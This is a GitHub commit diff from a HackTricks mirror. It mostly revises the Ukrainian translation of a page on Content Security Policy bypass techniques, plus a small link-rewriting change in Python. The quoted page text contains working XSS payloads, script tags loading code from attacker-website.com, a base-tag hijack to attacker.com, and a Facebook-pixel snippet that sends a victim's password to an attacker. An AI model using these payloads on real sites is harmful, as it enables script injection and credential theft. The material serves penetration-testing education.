mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/external-recon-meth
This commit is contained in:
parent
b657937ae0
commit
485dbe7d99
@ -78,6 +78,9 @@ def ref(matchobj):
|
|||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
if href.endswith("/README.md"):
|
||||||
|
href = href.replace("/README.md", "/index.html")
|
||||||
|
|
||||||
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
|
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||||
|
|
||||||
# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})
|
# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})
|
||||||
|
@ -14,6 +14,6 @@
|
|||||||
- [**SearchCode**](https://searchcode.com/): Пошук коду у мільйонах проектів.
|
- [**SearchCode**](https://searchcode.com/): Пошук коду у мільйонах проектів.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Коли ви шукаєте витоки в репозиторії та запускаєте щось на зразок `git log -p`, не забувайте, що можуть бути **інші гілки з іншими комітами**, що містять секрети!
|
> Коли ви шукаєте витоки в репозиторії та запускаєте щось на кшталт `git log -p`, не забувайте, що можуть бути **інші гілки з іншими комітами**, що містять секрети!
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -18,7 +18,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
|||||||
```
|
```
|
||||||
### Заголовки
|
### Заголовки
|
||||||
|
|
||||||
CSP може бути застосований або моніторинг за допомогою цих заголовків:
|
CSP може бути застосований або моніторений за допомогою цих заголовків:
|
||||||
|
|
||||||
- `Content-Security-Policy`: Застосовує CSP; браузер блокує будь-які порушення.
|
- `Content-Security-Policy`: Застосовує CSP; браузер блокує будь-які порушення.
|
||||||
- `Content-Security-Policy-Report-Only`: Використовується для моніторингу; повідомляє про порушення без їх блокування. Ідеально підходить для тестування в середовищах перед випуском.
|
- `Content-Security-Policy-Report-Only`: Використовується для моніторингу; повідомляє про порушення без їх блокування. Ідеально підходить для тестування в середовищах перед випуском.
|
||||||
@ -40,16 +40,16 @@ object-src 'none';
|
|||||||
### Директиви
|
### Директиви
|
||||||
|
|
||||||
- **script-src**: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що викликаються обробниками подій або XSLT стилями.
|
- **script-src**: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що викликаються обробниками подій або XSLT стилями.
|
||||||
- **default-src**: Встановлює стандартну політику для отримання ресурсів, коли конкретні директиви отримання відсутні.
|
- **default-src**: Встановлює політику за замовчуванням для отримання ресурсів, коли конкретні директиви отримання відсутні.
|
||||||
- **child-src**: Вказує дозволені ресурси для веб-робітників та вбудованого вмісту фреймів.
|
- **child-src**: Вказує дозволені ресурси для веб-робітників та вбудованого вмісту фреймів.
|
||||||
- **connect-src**: Обмежує URL, які можуть бути завантажені за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest.
|
- **connect-src**: Обмежує URL, які можуть бути завантажені за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest.
|
||||||
- **frame-src**: Обмежує URL для фреймів.
|
- **frame-src**: Обмежує URL для фреймів.
|
||||||
- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, та `<applet>`.
|
- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, і `<applet>`.
|
||||||
- **img-src**: Визначає дозволені джерела для зображень.
|
- **img-src**: Визначає дозволені джерела для зображень.
|
||||||
- **font-src**: Вказує дійсні джерела для шрифтів, завантажених за допомогою `@font-face`.
|
- **font-src**: Вказує дійсні джерела для шрифтів, завантажених за допомогою `@font-face`.
|
||||||
- **manifest-src**: Визначає дозволені джерела файлів маніфесту додатка.
|
- **manifest-src**: Визначає дозволені джерела файлів маніфесту додатка.
|
||||||
- **media-src**: Визначає дозволені джерела для завантаження медіа-об'єктів.
|
- **media-src**: Визначає дозволені джерела для завантаження медіа-об'єктів.
|
||||||
- **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, та `<applet>`.
|
- **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, і `<applet>`.
|
||||||
- **base-uri**: Вказує дозволені URL для завантаження за допомогою елементів `<base>`.
|
- **base-uri**: Вказує дозволені URL для завантаження за допомогою елементів `<base>`.
|
||||||
- **form-action**: Перераховує дійсні кінцеві точки для відправки форм.
|
- **form-action**: Перераховує дійсні кінцеві точки для відправки форм.
|
||||||
- **plugin-types**: Обмежує mime-типи, які може викликати сторінка.
|
- **plugin-types**: Обмежує mime-типи, які може викликати сторінка.
|
||||||
@ -96,7 +96,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
|||||||
- `filesystem:`: Дозволяє завантаження ресурсів з файлової системи.
|
- `filesystem:`: Дозволяє завантаження ресурсів з файлової системи.
|
||||||
- `'report-sample'`: Включає зразок порушуючого коду у звіт про порушення (корисно для налагодження).
|
- `'report-sample'`: Включає зразок порушуючого коду у звіт про порушення (корисно для налагодження).
|
||||||
- `'strict-origin'`: Схоже на 'self', але забезпечує, щоб рівень безпеки протоколу джерел відповідав документу (тільки безпечні джерела можуть завантажувати ресурси з безпечних джерел).
|
- `'strict-origin'`: Схоже на 'self', але забезпечує, щоб рівень безпеки протоколу джерел відповідав документу (тільки безпечні джерела можуть завантажувати ресурси з безпечних джерел).
|
||||||
- `'strict-origin-when-cross-origin'`: Надсилає повні URL-адреси при виконанні запитів з однаковим походженням, але лише надсилає походження, коли запит є крос-доменним.
|
- `'strict-origin-when-cross-origin'`: Надсилає повні URL-адреси при виконанні запитів з одного джерела, але лише надсилає джерело, коли запит є міждоменним.
|
||||||
- `'unsafe-allow-redirects'`: Дозволяє завантаження ресурсів, які негайно перенаправлять на інший ресурс. Не рекомендується, оскільки це послаблює безпеку.
|
- `'unsafe-allow-redirects'`: Дозволяє завантаження ресурсів, які негайно перенаправлять на інший ресурс. Не рекомендується, оскільки це послаблює безпеку.
|
||||||
|
|
||||||
## Небезпечні правила CSP
|
## Небезпечні правила CSP
|
||||||
@ -105,7 +105,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
|||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||||
```
|
```
|
||||||
Робочий payload: `"/><script>alert(1);</script>`
|
Робочий пейлоад: `"/><script>alert(1);</script>`
|
||||||
|
|
||||||
#### self + 'unsafe-inline' через Iframes
|
#### self + 'unsafe-inline' через Iframes
|
||||||
|
|
||||||
@ -120,7 +120,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
|
|||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||||
```
|
```
|
||||||
Працюючий вантаж:
|
Працюючий payload:
|
||||||
```html
|
```html
|
||||||
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
|
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
|
||||||
```
|
```
|
||||||
@ -132,7 +132,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
|||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||||
```
|
```
|
||||||
Працюючий вантаж:
|
Працюючий payload:
|
||||||
```markup
|
```markup
|
||||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||||
@ -155,19 +155,19 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
|||||||
```
|
```
|
||||||
Якщо ви можете завантажити файл JS, ви можете обійти цей CSP:
|
Якщо ви можете завантажити файл JS, ви можете обійти цей CSP:
|
||||||
|
|
||||||
Робочий корисний вантаж:
|
Робочий вантаж:
|
||||||
```markup
|
```markup
|
||||||
"/>'><script src="/uploads/picture.png.js"></script>
|
"/>'><script src="/uploads/picture.png.js"></script>
|
||||||
```
|
```
|
||||||
Однак, ймовірно, що сервер **перевіряє завантажений файл** і дозволить вам **завантажити лише певні типи файлів**.
|
Однак, ймовірно, що сервер **перевіряє завантажений файл** і дозволить вам **завантажити лише певні типи файлів**.
|
||||||
|
|
||||||
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, прийнятим сервером (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині того, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про _**.wave**_ розширення, тому не обслуговує його з **MIME типом, як audio/\***.
|
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, прийнятим сервером (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині того, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про розширення _**.wave**_, тому не обслуговує його з **MIME типом, як audio/\***.
|
||||||
|
|
||||||
Звідси, якщо ви знайдете XSS і завантаження файлів, і вам вдасться знайти **неправильно інтерпретоване розширення**, ви можете спробувати завантажити файл з цим розширенням і вмістом скрипта. Або, якщо сервер перевіряє правильний формат завантаженого файлу, створіть поліглот ([деякі приклади поліглотів тут](https://github.com/Polydet/polyglot-database)).
|
Звідси, якщо ви знайдете XSS і завантаження файлів, і вам вдасться знайти **неправильно інтерпретоване розширення**, ви можете спробувати завантажити файл з цим розширенням і вмістом скрипта. Або, якщо сервер перевіряє правильний формат завантаженого файлу, створіть поліглот ([деякі приклади поліглотів тут](https://github.com/Polydet/polyglot-database)).
|
||||||
|
|
||||||
### Form-action
|
### Form-action
|
||||||
|
|
||||||
Якщо неможливо ввести JS, ви все ще можете спробувати ексфільтрувати, наприклад, облікові дані, **впроваджуючи дію форми** (і, можливо, очікуючи, що менеджери паролів автоматично заповнять паролі). Ви можете знайти [**приклад у цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Також зверніть увагу, що `default-src` не охоплює дії форм.
|
Якщо неможливо впровадити JS, ви все ще можете спробувати ексфільтрувати, наприклад, облікові дані, **впроваджуючи дію форми** (і, можливо, очікуючи, що менеджери паролів автоматично заповнять паролі). Ви можете знайти [**приклад у цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Також зверніть увагу, що `default-src` не охоплює дії форм.
|
||||||
|
|
||||||
### Third Party Endpoints + ('unsafe-eval')
|
### Third Party Endpoints + ('unsafe-eval')
|
||||||
|
|
||||||
@ -230,9 +230,9 @@ Angular XSS з імені класу:
|
|||||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||||
</div>
|
</div>
|
||||||
```
|
```
|
||||||
#### Зловживання JS кодом google recaptcha
|
#### Зловживання JS-кодом google recaptcha
|
||||||
|
|
||||||
Згідно з [**цією CTF статтею**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), ви можете зловживати [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) всередині CSP для виконання довільного JS коду, обходячи CSP:
|
Згідно з [**цією CTF-статтею**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), ви можете зловживати [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) всередині CSP для виконання довільного JS-коду, обходячи CSP:
|
||||||
```html
|
```html
|
||||||
<div
|
<div
|
||||||
ng-controller="CarouselController as c"
|
ng-controller="CarouselController as c"
|
||||||
@ -262,7 +262,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
|||||||
```
|
```
|
||||||
#### Зловживання www.google.com для відкритого редиректу
|
#### Зловживання www.google.com для відкритого редиректу
|
||||||
|
|
||||||
Наступне URL-адреса перенаправляє на example.com (з [тут](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
Наступний URL перенаправляє на example.com (з [тут](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||||
```
|
```
|
||||||
https://www.google.com/amp/s/example.com/
|
https://www.google.com/amp/s/example.com/
|
||||||
```
|
```
|
||||||
@ -286,7 +286,7 @@ https://www.youtube.com/oembed?callback=alert;
|
|||||||
```
|
```
|
||||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **містить готові до використання JSONP кінцеві точки для обходу CSP різних вебсайтів.**
|
[**JSONBee**](https://github.com/zigoo0/JSONBee) **містить готові до використання JSONP кінцеві точки для обходу CSP різних вебсайтів.**
|
||||||
|
|
||||||
Та сама вразливість виникне, якщо **достовірна кінцева точка містить Open Redirect**, оскільки якщо початкова кінцева точка є надійною, редиректи також вважаються надійними.
|
Та сама вразливість виникне, якщо **достовірна кінцева точка містить Open Redirect**, оскільки якщо початкова кінцева точка є довіреною, редиректи також є довіреними.
|
||||||
|
|
||||||
### Зловживання з боку третіх осіб
|
### Зловживання з боку третіх осіб
|
||||||
|
|
||||||
@ -295,7 +295,7 @@ https://www.youtube.com/oembed?callback=alert;
|
|||||||
| Суб'єкт | Дозволений домен | Можливості |
|
| Суб'єкт | Дозволений домен | Можливості |
|
||||||
| ----------------- | ------------------------------------------- | ------------ |
|
| ----------------- | ------------------------------------------- | ------------ |
|
||||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||||
@ -322,7 +322,7 @@ Content-Security-Policy: connect-src www.facebook.com;
|
|||||||
5. Перейдіть до "Event Manager" вашого додатку і виберіть створений вами додаток (зауважте, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
5. Перейдіть до "Event Manager" вашого додатку і виберіть створений вами додаток (зауважте, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||||
6. Виберіть вкладку "Test Events", щоб побачити події, які надсилаються з "вашого" веб-сайту.
|
6. Виберіть вкладку "Test Events", щоб побачити події, які надсилаються з "вашого" веб-сайту.
|
||||||
|
|
||||||
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id облікового запису розробника атакуючого та видаючи подію користувача, як це:
|
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id розробника Facebook атакуючого та видаючи таку кастомну подію:
|
||||||
```JavaScript
|
```JavaScript
|
||||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||||
fbq('trackCustom', 'My-Custom-Event',{
|
fbq('trackCustom', 'My-Custom-Event',{
|
||||||
@ -333,7 +333,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||||||
|
|
||||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||||
|
|
||||||
На додаток до згаданої редирекції для обходу обмежень шляху, існує ще одна техніка, званою Relative Path Overwrite (RPO), яка може бути використана на деяких серверах.
|
На додаток до згаданої переадресації для обходу обмежень шляху, існує ще одна техніка, званою Relative Path Overwrite (RPO), яка може бути використана на деяких серверах.
|
||||||
|
|
||||||
Наприклад, якщо CSP дозволяє шлях `https://example.com/scripts/react/`, його можна обійти наступним чином:
|
Наприклад, якщо CSP дозволяє шлях `https://example.com/scripts/react/`, його можна обійти наступним чином:
|
||||||
```html
|
```html
|
||||||
@ -345,9 +345,9 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||||||
|
|
||||||
∑, вони декодують його, фактично запитуючи `https://example.com/scripts/react/../angular/angular.js`, що еквівалентно `https://example.com/scripts/angular/angular.js`.
|
∑, вони декодують його, фактично запитуючи `https://example.com/scripts/react/../angular/angular.js`, що еквівалентно `https://example.com/scripts/angular/angular.js`.
|
||||||
|
|
||||||
Шляхом **експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можуть бути обійдені**.
|
Шляхом **експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можна обійти**.
|
||||||
|
|
||||||
Рішення полягає в тому, щоб не трактувати `%2f` як `/` на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
|
Рішення полягає в тому, щоб не розглядати `%2f` як `/` на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
|
||||||
|
|
||||||
Онлайн приклад:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
Онлайн приклад:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||||
|
|
||||||
@ -361,14 +361,14 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||||||
|
|
||||||
Якщо директива **base-uri** відсутня, ви можете зловживати цим, щоб виконати [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
|
Якщо директива **base-uri** відсутня, ви можете зловживати цим, щоб виконати [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
|
||||||
|
|
||||||
Більше того, якщо **сторінка завантажує скрипт за допомогою відносного шляху** (як `<script src="/js/app.js">`), використовуючи **Nonce**, ви можете зловживати **base** **tag**, щоб змусити його **завантажити** скрипт з **вашого власного сервера, досягаючи XSS.**\
|
Більше того, якщо **сторінка завантажує скрипт за допомогою відносного шляху** (як `<script src="/js/app.js">`), використовуючи **Nonce**, ви можете зловживати **base** **tag**, щоб змусити її **завантажити** скрипт з **вашого власного сервера, досягаючи XSS.**\
|
||||||
Якщо вразлива сторінка завантажується з **httpS**, використовуйте httpS URL в base.
|
Якщо вразлива сторінка завантажується з **httpS**, використовуйте httpS URL в base.
|
||||||
```html
|
```html
|
||||||
<base href="https://www.attacker.com/" />
|
<base href="https://www.attacker.com/" />
|
||||||
```
|
```
|
||||||
### AngularJS події
|
### AngularJS події
|
||||||
|
|
||||||
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт `$event`, що посилається на об'єкт події браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має атрибут `path`, що містить масив об'єктів, залучених у ланцюг виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є вирішальною для тактик втечі з пісочниці.
|
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт `$event`, що посилається на об'єкт події браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має атрибут `path`, що містить масив об'єктів, залучених до ланцюга виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є ключовою для тактик втечі з пісочниці.
|
||||||
|
|
||||||
Спрямовуючи цей масив до фільтра `orderBy`, можна ітерувати його, використовуючи термінальний елемент (об'єкт `window`), щоб викликати глобальну функцію, таку як `alert()`. Наведений нижче фрагмент коду ілюструє цей процес:
|
Спрямовуючи цей масив до фільтра `orderBy`, можна ітерувати його, використовуючи термінальний елемент (об'єкт `window`), щоб викликати глобальну функцію, таку як `alert()`. Наведений нижче фрагмент коду ілюструє цей процес:
|
||||||
```xml
|
```xml
|
||||||
@ -421,13 +421,13 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
|||||||
```
|
```
|
||||||
Якщо CSP встановлено на `https://www.google.com/a/b/c/d`, оскільки враховується шлях, скрипти `/test` та `/a/test` будуть заблоковані CSP.
|
Якщо CSP встановлено на `https://www.google.com/a/b/c/d`, оскільки враховується шлях, скрипти `/test` та `/a/test` будуть заблоковані CSP.
|
||||||
|
|
||||||
Однак, фінальний `http://localhost:5555/301` буде **перенаправлений на стороні сервера на `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Оскільки це перенаправлення, **шлях не враховується**, і **скрипт може бути завантажений**, таким чином обходячи обмеження шляху.
|
Однак, фінальний `http://localhost:5555/301` буде **перенаправлений на серверній стороні на `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Оскільки це перенаправлення, **шлях не враховується**, і **скрипт може бути завантажений**, таким чином обходячи обмеження шляху.
|
||||||
|
|
||||||
З цим перенаправленням, навіть якщо шлях вказано повністю, він все ще буде обійдений.
|
З цим перенаправленням, навіть якщо шлях вказано повністю, він все ще буде обійдено.
|
||||||
|
|
||||||
Отже, найкраще рішення - це забезпечити, щоб веб-сайт не мав жодних вразливостей до відкритого перенаправлення і щоб не було доменів, які можна експлуатувати в правилах CSP.
|
Отже, найкраще рішення - це забезпечити, щоб веб-сайт не мав жодних вразливостей до відкритого перенаправлення і щоб не було доменів, які можна експлуатувати в правилах CSP.
|
||||||
|
|
||||||
### Обхід CSP з висячою розміткою
|
### Обхід CSP з висячим розміткою
|
||||||
|
|
||||||
Читати [як тут](../dangling-markup-html-scriptless-injection/index.html).
|
Читати [як тут](../dangling-markup-html-scriptless-injection/index.html).
|
||||||
|
|
||||||
@ -454,7 +454,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
|||||||
../xss-cross-site-scripting/abusing-service-workers.md
|
../xss-cross-site-scripting/abusing-service-workers.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Ін'єкція політики
|
### Впровадження політики
|
||||||
|
|
||||||
**Дослідження:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
**Дослідження:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||||
|
|
||||||
@ -478,7 +478,7 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
|||||||
Зверніть увагу на відсутність директиви `'unsafe-inline'`\
|
Зверніть увагу на відсутність директиви `'unsafe-inline'`\
|
||||||
Цього разу ви можете змусити жертву **завантажити** сторінку під **вашим контролем** через **XSS** з `<iframe`. Цього разу ви змусите жертву отримати доступ до сторінки, з якої ви хочете витягти інформацію (**CSRF**). Ви не можете отримати доступ до вмісту сторінки, але якщо якимось чином ви зможете **контролювати час, необхідний для завантаження сторінки**, ви зможете витягти потрібну інформацію.
|
Цього разу ви можете змусити жертву **завантажити** сторінку під **вашим контролем** через **XSS** з `<iframe`. Цього разу ви змусите жертву отримати доступ до сторінки, з якої ви хочете витягти інформацію (**CSRF**). Ви не можете отримати доступ до вмісту сторінки, але якщо якимось чином ви зможете **контролювати час, необхідний для завантаження сторінки**, ви зможете витягти потрібну інформацію.
|
||||||
|
|
||||||
Цього разу **прапор** буде витягнуто, коли **символ буде правильно вгадано** через SQLi, **відповідь** займає **більше часу** через функцію сну. Тоді ви зможете витягти прапор:
|
Цього разу **прапор** буде витягнуто, коли **символ буде правильно вгадано** через SQLi, **відповідь** займе **більше часу** через функцію сну. Тоді ви зможете витягти прапор:
|
||||||
```html
|
```html
|
||||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||||
@ -540,13 +540,13 @@ run()
|
|||||||
```
|
```
|
||||||
### Via Bookmarklets
|
### Via Bookmarklets
|
||||||
|
|
||||||
Цей напад передбачає певну соціальну інженерію, де атакуючий **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
|
Цей напад передбачає певну соціальну інженерію, де зловмисник **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
|
||||||
|
|
||||||
Для отримання додаткової інформації [**перевірте оригінальний звіт тут**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
Для отримання додаткової інформації [**перевірте оригінальний звіт тут**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||||
|
|
||||||
### CSP bypass by restricting CSP
|
### CSP bypass by restricting CSP
|
||||||
|
|
||||||
У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обминається шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, який, потім, через **prototype pollution** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**.
|
У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обминається шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, що, в свою чергу, через **прототипне забруднення** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**.
|
||||||
|
|
||||||
Ви можете **обмежити CSP iframe** за допомогою атрибута **`csp`**:
|
Ви можете **обмежити CSP iframe** за допомогою атрибута **`csp`**:
|
||||||
```html
|
```html
|
||||||
@ -554,8 +554,8 @@ run()
|
|||||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||||
```
|
```
|
||||||
У [**цьому CTF звіті**](https://github.com/aszx87410/ctf-writeups/issues/48) було можливим через **впровадження HTML** **обмежити** **CSP** так, що скрипт, що запобігає CSTI, був вимкнений, і тому **вразливість стала експлуатованою.**\
|
У [**цьому CTF звіті**](https://github.com/aszx87410/ctf-writeups/issues/48) було можливим через **впровадження HTML** **обмежити** **CSP** так, що скрипт, що запобігає CSTI, був вимкнений, і, отже, **вразливість стала експлуатованою.**\
|
||||||
CSP можна зробити більш обмежувальним, використовуючи **HTML мета-теги**, а вбудовані скрипти можна вимкнути **видаленням** **входу**, що дозволяє їх **nonce** та **включенням конкретного вбудованого скрипту через sha**:
|
CSP можна зробити більш обмежувальним, використовуючи **HTML мета-теги**, а вбудовані скрипти можна вимкнути **видаленням** **входу**, що дозволяє їх **nonce** та **включити конкретний вбудований скрипт через sha**:
|
||||||
```html
|
```html
|
||||||
<meta
|
<meta
|
||||||
http-equiv="Content-Security-Policy"
|
http-equiv="Content-Security-Policy"
|
||||||
@ -589,7 +589,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
|||||||
```
|
```
|
||||||
Моніторинг запитів, які блокуються або дозволяються CSP, дозволяє звузити можливі символи в секретному піддомені, врешті-решт виявивши повний URL.
|
Моніторинг запитів, які блокуються або дозволяються CSP, дозволяє звузити можливі символи в секретному піддомені, врешті-решт виявивши повний URL.
|
